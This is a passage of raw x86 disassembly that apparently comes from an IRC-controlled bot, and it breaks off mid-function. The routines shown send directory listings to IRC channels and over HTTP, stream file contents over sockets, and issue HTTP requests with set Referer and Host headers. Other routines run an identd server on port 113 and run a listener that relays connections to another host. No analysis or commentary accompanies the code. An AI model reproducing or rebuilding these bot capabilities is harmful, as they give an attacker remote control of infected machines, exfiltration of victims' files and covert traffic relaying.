		mov	byte ptr [eax+edi], 2Ah
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_417E90
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C984C	; send
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_417E90
		add	esp, 0Ch
		jmp	short loc_40EBC5
; ---------------------------------------------------------------------------


loc_40EBAB:				; CODE XREF: sub_40EA69+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_417E90
		add	esp, 10h


loc_40EBC5:				; CODE XREF: sub_40EA69+5Aj
					; sub_40EA69+140j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C984C	; send
		cmp	[ebp+arg_C], ebx
		jz	short loc_40EC5D
		push	[ebp+arg_C]
		call	sub_4176F0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_40EC5D
		push	[ebp+arg_C]
		call	sub_4176F0
		sub	eax, 3
		pop	ecx
		jz	short loc_40EC11


loc_40EC05:				; CODE XREF: sub_40EA69+1A6j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_40EC11
		dec	eax
		jnz	short loc_40EC05


loc_40EC11:				; CODE XREF: sub_40EA69+19Aj
					; sub_40EA69+1A3j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_417B00
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_417E90
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C984C	; send


loc_40EC5D:				; CODE XREF: sub_40EA69+17Ej
					; sub_40EA69+18Cj
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	dword_423118	; FindFirstFileA
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		call	dword_423114	; FindNextFileA
		test	eax, eax
		jz	loc_40F04E
		mov	edi, 1FFh


loc_40EC89:				; CODE XREF: sub_40EA69+5DFj
		cmp	[ebp+var_388], ebx
		jz	loc_40F036
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F036
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F036
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	dword_423110	; FileTimeToLocalFileTime
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_423000	; FileTimeToSystemTime
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_40ECFE
		mov	ecx, offset aAm	; "AM"


loc_40ECFE:				; CODE XREF: sub_40EA69+28Ej
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40ED0A
		sub	eax, 0Ch


loc_40ED0A:				; CODE XREF: sub_40EA69+29Cj
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_417D96
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_40EEB7
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40ED8B
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_417E90
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		push	esi
		push	eax
		call	sub_417E90
		add	esp, 28h
		jmp	loc_40F007
; ---------------------------------------------------------------------------


loc_40ED8B:				; CODE XREF: sub_40EA69+2DBj
		cmp	[ebp+arg_C], ebx
		jz	loc_40EE75
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_417E90
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C984C	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_1	; "%s%s/"
		push	edi
		push	eax
		call	sub_417E90
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C984C	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_4176F0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40EE2B
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_40EE30
; ---------------------------------------------------------------------------


loc_40EE2B:				; CODE XREF: sub_40EA69+3B9j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_40EE30:				; CODE XREF: sub_40EA69+3C0j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_417E90
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C984C	; send
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40EFF8
; ---------------------------------------------------------------------------


loc_40EE75:				; CODE XREF: sub_40EA69+325j
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_417E90
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"


loc_40EEA2:				; CODE XREF: sub_40EA69+476j
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_417E90
		add	esp, 24h
		jmp	loc_40F007
; ---------------------------------------------------------------------------


loc_40EEB7:				; CODE XREF: sub_40EA69+2CFj
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40EEE1
		push	ebx
		push	[ebp+var_368]
		call	sub_41444C
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		jmp	short loc_40EEA2
; ---------------------------------------------------------------------------


loc_40EEE1:				; CODE XREF: sub_40EA69+454j
		cmp	[ebp+arg_C], ebx
		jz	loc_40EFE1
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_417E90
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C984C	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_42C204
		push	edi
		push	eax
		call	sub_417E90
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C984C	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_4176F0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40EF81
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_40EF86
; ---------------------------------------------------------------------------


loc_40EF81:				; CODE XREF: sub_40EA69+50Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_40EF86:				; CODE XREF: sub_40EA69+516j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_417E90
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C984C	; send
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_417E90
		add	esp, 1Ch
		jmp	short loc_40F007
; ---------------------------------------------------------------------------


loc_40EFE1:				; CODE XREF: sub_40EA69+47Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	esi


loc_40EFF8:				; CODE XREF: sub_40EA69+407j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_417E90
		add	esp, 18h


loc_40F007:				; CODE XREF: sub_40EA69+31Dj
					; sub_40EA69+449j ...
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C984C	; send
		cmp	[ebp+arg_8], ebx
		jz	short loc_40F036
		push	7D0h
		call	dword_423078	; Sleep


loc_40F036:				; CODE XREF: sub_40EA69+226j
					; sub_40EA69+241j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		call	dword_423114	; FindNextFileA
		test	eax, eax
		jnz	loc_40EC89


loc_40F04E:				; CODE XREF: sub_40EA69+215j
		push	[ebp+arg_0]
		call	dword_42310C	; FindClose
		cmp	[ebp+arg_8], ebx
		jz	short loc_40F091
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_41444C
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_41444C
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_417D96
		add	esp, 14h
		jmp	short loc_40F0C5
; ---------------------------------------------------------------------------


loc_40F091:				; CODE XREF: sub_40EA69+5F1j
		cmp	[ebp+arg_C], ebx
		jz	short loc_40F0AB
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_417D96
		pop	ecx
		pop	ecx
		jmp	short loc_40F0C5
; ---------------------------------------------------------------------------


loc_40F0AB:				; CODE XREF: sub_40EA69+62Bj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_417D96
		add	esp, 10h


loc_40F0C5:				; CODE XREF: sub_40EA69+626j
					; sub_40EA69+640j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C984C	; send
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40EA69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F0EB	proc near		; CODE XREF: sub_40E637+13Bp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	dword_4230EC	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40F1A3
		push	esi
		push	ebx
		call	dword_423108	; GetFileSize
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_40F19C


loc_40F130:				; CODE XREF: sub_40F0EB+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_40F14D
		mov	edi, [ebp+arg_4]


loc_40F14D:				; CODE XREF: sub_40F0EB+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	dword_42311C	; SetFilePointer
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	dword_4230E8	; ReadFile
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4C984C	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F197
		call	dword_4C979C	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_40F19C
		xor	eax, eax


loc_40F197:				; CODE XREF: sub_40F0EB+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_40F130


loc_40F19C:				; CODE XREF: sub_40F0EB+43j
					; sub_40F0EB+A8j
		push	ebx
		call	dword_423068	; CloseHandle


loc_40F1A3:				; CODE XREF: sub_40F0EB+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40F0EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F1A8	proc near		; CODE XREF: sub_40E7B9+17Cp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_4176F0
		test	eax, eax
		pop	ecx
		jbe	short loc_40F1D1


loc_40F1BB:				; CODE XREF: sub_40F1A8+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_40F1C5
		mov	byte ptr [esi+edi], 2Fh


loc_40F1C5:				; CODE XREF: sub_40F1A8+17j
		push	edi
		inc	esi
		call	sub_4176F0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40F1BB


loc_40F1D1:				; CODE XREF: sub_40F1A8+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40F1A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F1D6	proc near		; CODE XREF: sub_401AC7+49BDp

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4C977C	; WSAStartup
		push	6
		push	1
		push	2
		call	dword_4C987C	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4C9800	; htons
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_409C07
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4C97AC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40F2B3
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_40F24F
		mov	eax, offset byte_43B9B8


loc_40F24F:				; CODE XREF: sub_40F1D6+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_417E90
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4C984C	; send
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_418810
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4C9818	; recv
		pop	esi


loc_40F2B3:				; CODE XREF: sub_40F1D6+6Bj
		push	ebx
		call	dword_4C9894	; closesocket
		call	dword_4C9764	; WSACleanup
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_417D96
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_40F2F3
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 14h


loc_40F2F3:				; CODE XREF: sub_40F1D6+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_40F1D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F2F7	proc near		; DATA XREF: sub_401221+43Fo
					; sub_401AC7+3C17o

var_238		= byte ptr -238h
var_38		= byte ptr -38h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		mov	[ebp+var_8], esi
		call	sub_417AA0
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	71h
		call	dword_4C9800	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_1A], ax
		mov	[ebp+var_18], esi
		call	dword_4C987C	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40F458
		mov	eax, [ebp+arg_0]
		push	edi
		imul	eax, 234h
		mov	dword_43C74C[eax], ebx
		lea	eax, [ebp+var_1C]
		push	eax
		push	ebx
		call	dword_4C982C	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F458
		push	5
		push	ebx
		call	dword_4C9828	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F458
		mov	[ebp+var_C], edi
		mov	edi, 200h


loc_40F382:				; CODE XREF: sub_40F2F7+EAj
					; sub_40F2F7+14Aj ...
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		call	dword_4C9890	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_40F453
		movzx	eax, [ebp+var_2A]
		push	eax
		push	[ebp+var_28]
		call	dword_4C9888	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_238]
		push	offset dword_4363E8
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_238]
		push	eax
		call	sub_413B5E
		add	esp, 14h
		lea	eax, [ebp+var_238]
		push	esi
		push	edi
		push	eax
		push	[ebp+var_4]
		call	dword_4C9818	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40F382
		lea	eax, [ebp+var_238]
		push	esi
		push	eax
		call	sub_415054
		push	0Ch
		lea	eax, [ebp+var_38]
		push	esi
		push	eax
		call	sub_417AA0
		push	esi
		push	esi
		lea	eax, [ebp+var_38]
		push	2
		push	eax
		call	sub_40A19A
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp+var_238]
		push	edi
		push	eax
		call	sub_417E90
		add	esp, 34h
		lea	eax, [ebp+var_238]
		push	esi
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_238]
		push	eax
		push	[ebp+var_4]
		call	dword_4C984C	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F382
		mov	[ebp+var_8], 1
		jmp	loc_40F382
; ---------------------------------------------------------------------------


loc_40F453:				; CODE XREF: sub_40F2F7+A0j
		cmp	[ebp+var_8], esi
		jnz	short loc_40F47F


loc_40F458:				; CODE XREF: sub_40F2F7+47j
					; sub_40F2F7+6Bj ...
		call	dword_4C979C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_238]
		push	offset dword_4363A4
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_238]
		push	eax
		call	sub_413B5E
		add	esp, 10h


loc_40F47F:				; CODE XREF: sub_40F2F7+15Fj
		push	ebx
		call	dword_4C9894	; closesocket
		push	[ebp+var_4]
		call	dword_4C9894	; closesocket
		push	[ebp+arg_0]
		call	sub_40A51F
		pop	ecx
		push	esi
		call	dword_4230CC	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_40F2F7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F4A2	proc near		; DATA XREF: sub_401AC7+5867o

var_350		= byte ptr -350h
var_150		= byte ptr -150h
var_14C		= dword	ptr -14Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_30		= dword	ptr -30h
var_28		= byte ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= byte ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_150]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_44]
		call	dword_4C9800	; htons
		push	6
		push	1
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		mov	[ebp+var_4], edi
		call	dword_4C987C	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_40F60E
		mov	ecx, [ebp+var_40]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_43C74C[ecx], eax
		call	dword_4C9720	; WSAAsyncSelect
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4C982C	; bind
		test	eax, eax
		jnz	loc_40F60E
		push	0Ah
		push	[ebp+arg_0]
		call	dword_4C9828	; listen
		test	eax, eax
		jnz	loc_40F60E


loc_40F552:				; CODE XREF: sub_40F4A2+C6j
					; sub_40F4A2+147j
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_0]
		call	dword_4C9890	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40F552
		movzx	eax, [ebp+var_26]
		push	[ebp+var_40]
		mov	[ebp+var_14C], edi
		mov	[ebp+var_30], esi
		push	eax
		push	[ebp+var_24]
		call	dword_4C9888	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_350]
		push	offset unk_436450
		push	eax
		call	sub_417D96
		push	edi
		lea	eax, [ebp+var_350]
		push	18h
		push	eax
		call	sub_40A203
		mov	[ebp+var_3C], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_40]
		add	esp, 20h
		mov	dword_43C744[eax], ecx
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_150]
		push	esi
		push	eax
		push	offset sub_40F633
		push	esi
		push	esi
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_3C]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43C754[ecx], eax
		jz	short loc_40F5F9


loc_40F5E6:				; CODE XREF: sub_40F4A2+155j
		cmp	[ebp+var_30], esi
		jnz	loc_40F552
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_40F5E6
; ---------------------------------------------------------------------------


loc_40F5F9:				; CODE XREF: sub_40F4A2+142j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_436414
		call	sub_413BD2
		pop	ecx
		pop	ecx
		jmp	short loc_40F611
; ---------------------------------------------------------------------------


loc_40F60E:				; CODE XREF: sub_40F4A2+63j
					; sub_40F4A2+97j ...
		mov	edi, [ebp+arg_0]


loc_40F611:				; CODE XREF: sub_40F4A2+16Aj
		push	edi
		call	dword_4C9894	; closesocket
		push	[ebp+arg_0]
		call	dword_4C9894	; closesocket
		push	[ebp+var_40]
		call	sub_40A51F
		pop	ecx
		push	esi
		call	dword_4230CC	; ExitThread
		pop	edi
		pop	esi
sub_40F4A2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F633	proc near		; DATA XREF: sub_40F4A2+124o

var_1344	= byte ptr -1344h
var_344		= byte ptr -344h
var_144		= byte ptr -144h
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_418030
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		mov	ebx, [ebp+var_30]
		push	1
		pop	ecx
		mov	[ebp+var_4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4C987C	; socket
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_0], esi
		jz	loc_40F7E9
		push	10h
		lea	eax, [ebp+var_18]
		push	edi
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		mov	[ebp+var_18], 2
		push	[ebp+var_3C]
		call	dword_4C9800	; htons
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_4C983C	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_40F6C3
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_4C9880	; gethostbyname
		jmp	short loc_40F6D1
; ---------------------------------------------------------------------------


loc_40F6C3:				; CODE XREF: sub_40F633+7Fj
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4C97BC	; gethostbyaddr


loc_40F6D1:				; CODE XREF: sub_40F633+8Ej
		cmp	eax, edi
		jz	loc_40F7E9
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	dword_4C97AC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F7E9
		movzx	eax, [ebp+var_16]
		push	[ebp+var_34]
		mov	[ebp+var_20], edi
		push	eax
		push	[ebp+var_14]
		call	dword_4C9888	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_4364D8
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_344]
		push	18h
		push	eax
